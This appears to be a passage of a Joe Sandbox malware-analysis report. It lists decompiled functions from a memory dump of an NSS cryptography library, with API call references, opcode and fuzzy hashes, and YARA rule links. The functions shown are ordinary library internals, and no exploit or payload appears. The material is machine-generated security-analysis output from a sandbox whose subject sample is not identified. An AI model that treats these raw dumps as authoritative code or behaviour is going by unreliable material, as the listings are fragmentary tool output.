Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDFAA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 62766374fc9300e1800acd705f53c37d81ccca97ae6d3cf25eb0828e7d11f6e0
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9081A073646E028BFB144E19D890369769ADB61348F22C43AD919EAFE1D774F4C4CE32

Function 6C9B3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C9B3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9B3C94

Part of subcall function 6C9A95B0: TlsGetValue.KERNEL32(00000000,?,6C9C00D2,00000000), ref: 6C9A95D2
Part of subcall function 6C9A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C9C00D2,00000000), ref: 6C9A95E7
Part of subcall function 6C9A95B0: PR_Unlock.NSS3(?,?,?,?,6C9C00D2,00000000), ref: 6C9A9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C9B3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C9B3CE1

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: dfe3487ee90970770773ca3515e4b8ffc8bda961dee2fc1d9195bf38b86d2c56
Instruction ID: 83a9ecdec88a1fdd53bfd4e555619138306d551757fd1c5841da2d331a555177
Opcode Fuzzy Hash: dfe3487ee90970770773ca3515e4b8ffc8bda961dee2fc1d9195bf38b86d2c56
Instruction Fuzzy Hash: 4161A871A00200BBEF119F75DC45FAB76A9BF28748F484129FD05AAA52FB31D918C7A1

Function 6C9F3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F3440: PK11_GetAllTokens.NSS3 ref: 6C9F3481
Part of subcall function 6C9F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C9F34A3
Part of subcall function 6C9F3440: TlsGetValue.KERNEL32 ref: 6C9F352E
Part of subcall function 6C9F3440: EnterCriticalSection.KERNEL32(?), ref: 6C9F3542
Part of subcall function 6C9F3440: PR_Unlock.NSS3(?), ref: 6C9F355B

TlsGetValue.KERNEL32 ref: 6C9F3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C9F3D9F
PR_Unlock.NSS3(?), ref: 6C9F3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9F3E4F

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

TlsGetValue.KERNEL32 ref: 6C9F3E97
EnterCriticalSection.KERNEL32(?), ref: 6C9F3EAB
PR_Unlock.NSS3(?), ref: 6C9F3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3EEE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 6ddec1486f75d3e2f133a62c5b6c83e87e2904dbf0e874b22d5c040013175f3f
Instruction ID: bb48123ba6409afe02e9ba0ddd3f7390caa2143a049cc0523f587f4a5a1c16c1
Opcode Fuzzy Hash: 6ddec1486f75d3e2f133a62c5b6c83e87e2904dbf0e874b22d5c040013175f3f
Instruction Fuzzy Hash: 5D513875A002019FEB116F39DC44B6A73B8BF55318F054168DE2947B21EB35E85ACBD2

Function 6C9A2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(F43318B3), ref: 6C9A2C5D

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C9A2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A2CE0

Part of subcall function 6C9A2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C9A2CDA,?,00000000), ref: 6C9A2E1E
Part of subcall function 6C9A2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C9A2E33
Part of subcall function 6C9A2E00: TlsGetValue.KERNEL32 ref: 6C9A2E4E
Part of subcall function 6C9A2E00: EnterCriticalSection.KERNEL32(?), ref: 6C9A2E5E
Part of subcall function 6C9A2E00: PL_HashTableLookup.NSS3(?), ref: 6C9A2E71
Part of subcall function 6C9A2E00: PL_HashTableRemove.NSS3(?), ref: 6C9A2E84
Part of subcall function 6C9A2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C9A2E96
Part of subcall function 6C9A2E00: PR_Unlock.NSS3 ref: 6C9A2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C9A2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C9A2D3F
free.MOZGLUE(00000000), ref: 6C9A2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C9A2DB8
free.MOZGLUE ref: 6C9A2DC8

Part of subcall function 6C9A3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3EC2
Part of subcall function 6C9A3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A3ED6
Part of subcall function 6C9A3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A3EEE
Part of subcall function 6C9A3E60: PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A3F02
Part of subcall function 6C9A3E60: PL_FreeArenaPool.NSS3 ref: 6C9A3F14
Part of subcall function 6C9A3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A3F27

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 03051e8ba7737ba015d91835525856bedeef0bb1e66949f0e83b5d929a522847
Instruction ID: c6ddf51b1d4cd6cd7c1a6d2da60a59715bc2c8fef9ec58b46d13f6edd72c731e
Opcode Fuzzy Hash: 03051e8ba7737ba015d91835525856bedeef0bb1e66949f0e83b5d929a522847
Instruction Fuzzy Hash: 1151E171A04711AFDB10DFAADC88B5B77E9EF94348F15042CEC5987A12E731E816CB92

Function 6C9C8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C90EC

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 00bab8ae68bcb8b3cd3c2b3f41a33376eed348232e093c9717d0155ccab43856
Instruction ID: 0e1721bfff2f2ea58b30d3a9e26249076f1244897fcc20e62fee5a0668bc62b4
Opcode Fuzzy Hash: 00bab8ae68bcb8b3cd3c2b3f41a33376eed348232e093c9717d0155ccab43856
Instruction Fuzzy Hash: D2517874B046058FDB04EF38C488299BBF8BF19318F069569DC459B706EB30E989CB93

Function 6C9A8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89B8

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C9A8A00
CERT_CopyRDN.NSS3(00000004,00000000,6C9A7310,?,?,00000004,?), ref: 6C9A8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C9A8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8B1D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 57c4d5178be16fe2876e4f16e9ddd32b3d2f3bc3bf4e8582d9bc05044d84bc8f
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 8E5135B1A01350AFE7148F90DC04B6A77ACEF8275CF14815AED189BB90E731E80BCB95

Function 6C9A7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C9A3F7F,?,00000055,?,?,6C9A1666,?,?), ref: 6C9A40D9
Part of subcall function 6C9A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C9A1666,?,?), ref: 6C9A40FC
Part of subcall function 6C9A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C9A1666,?,?), ref: 6C9A4138

PR_GetCurrentThread.NSS3 ref: 6C9A7CFD

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CAC9030), ref: 6C9A7D1B

Part of subcall function 6C9FFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C9A1A3E,00000048,00000054), ref: 6C9FFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CAC9048), ref: 6C9A7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C9A7D50
PR_GetCurrentThread.NSS3 ref: 6C9A7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C9A7D7D
free.MOZGLUE(?), ref: 6C9A7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C9A7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C9A7E19

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: c59d0bf3c75cdead09523bee7495461cadfd2913b6e083f81a6251e125ff3255
Instruction ID: 4531c66032898c0ee9e24b67b73cb2c3b47b4c8fdf9c35336a19e390d3a1be05
Opcode Fuzzy Hash: c59d0bf3c75cdead09523bee7495461cadfd2913b6e083f81a6251e125ff3255
Instruction Fuzzy Hash: C541F572A0011A9FDB009FB99C42BAF37E8AF5035CF050424EC19ABB55E730ED5AC7A1

Function 6C9B7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F36
free.MOZGLUE(?,?,?,6C9B80DD), ref: 6C9B7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F5D
DeleteCriticalSection.KERNEL32(?,6C9B80DD), ref: 6C9B7F94
free.MOZGLUE(?), ref: 6C9B7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C9B80DD), ref: 6C9B7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C9B80DD), ref: 6C9B7FE6
free.MOZGLUE(?,6C9B80DD), ref: 6C9B802D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 732846e4ae90e71117079c594ac833c98880e3748b0cb5f09d3ad1fe33e9d4ab
Instruction ID: c38ff227aa02c9858da734b4bc3a93ebc2ad450058685af92f03623c44452a1c
Opcode Fuzzy Hash: 732846e4ae90e71117079c594ac833c98880e3748b0cb5f09d3ad1fe33e9d4ab
Instruction Fuzzy Hash: EF412671B402009BDF149FB9D888A4B37B9BB7B358F10022DE519A7B81D730D41ECBA2

Function 6C9FFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9FFF00

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C9FFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C9FFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C9FFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9FFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9FFF8C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 1e22f6903d12eab2e6f3f37bc875cf060d47641bc80f56f08132da935853b638
Instruction ID: 7303dd3bf9a4dcf39a77763de7a0d7653249c7f2790c0e51a128c7f5a6eb4eac
Opcode Fuzzy Hash: 1e22f6903d12eab2e6f3f37bc875cf060d47641bc80f56f08132da935853b638
Instruction Fuzzy Hash: 4A3126B2A013129BF7108F55AC40B9B76ECAF5638CF144139ED2897B40E771D96AC7D1

Function 6C93E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C93E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C93EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C93EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C93EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C93EDC2
unknown column "%s" in foreign key definition, xrefs: 6C93ED18

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 28f907d9476c1f531a3e86473088333be521e96c467ca488e1274b63dba3d766
Instruction ID: d18744773a58b82518070c294a31bb6fe3f2cb500fb00cb399bd0f378944385c
Opcode Fuzzy Hash: 28f907d9476c1f531a3e86473088333be521e96c467ca488e1274b63dba3d766
Instruction Fuzzy Hash: FB029E75E01129CFDB05CF99C480AAEB7B6BF89304F1951A9D819AB751D731EC41CBA0

Function 6CA04DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CA0536F,00000022,?,?,00000000,?), ref: 6CA04E70
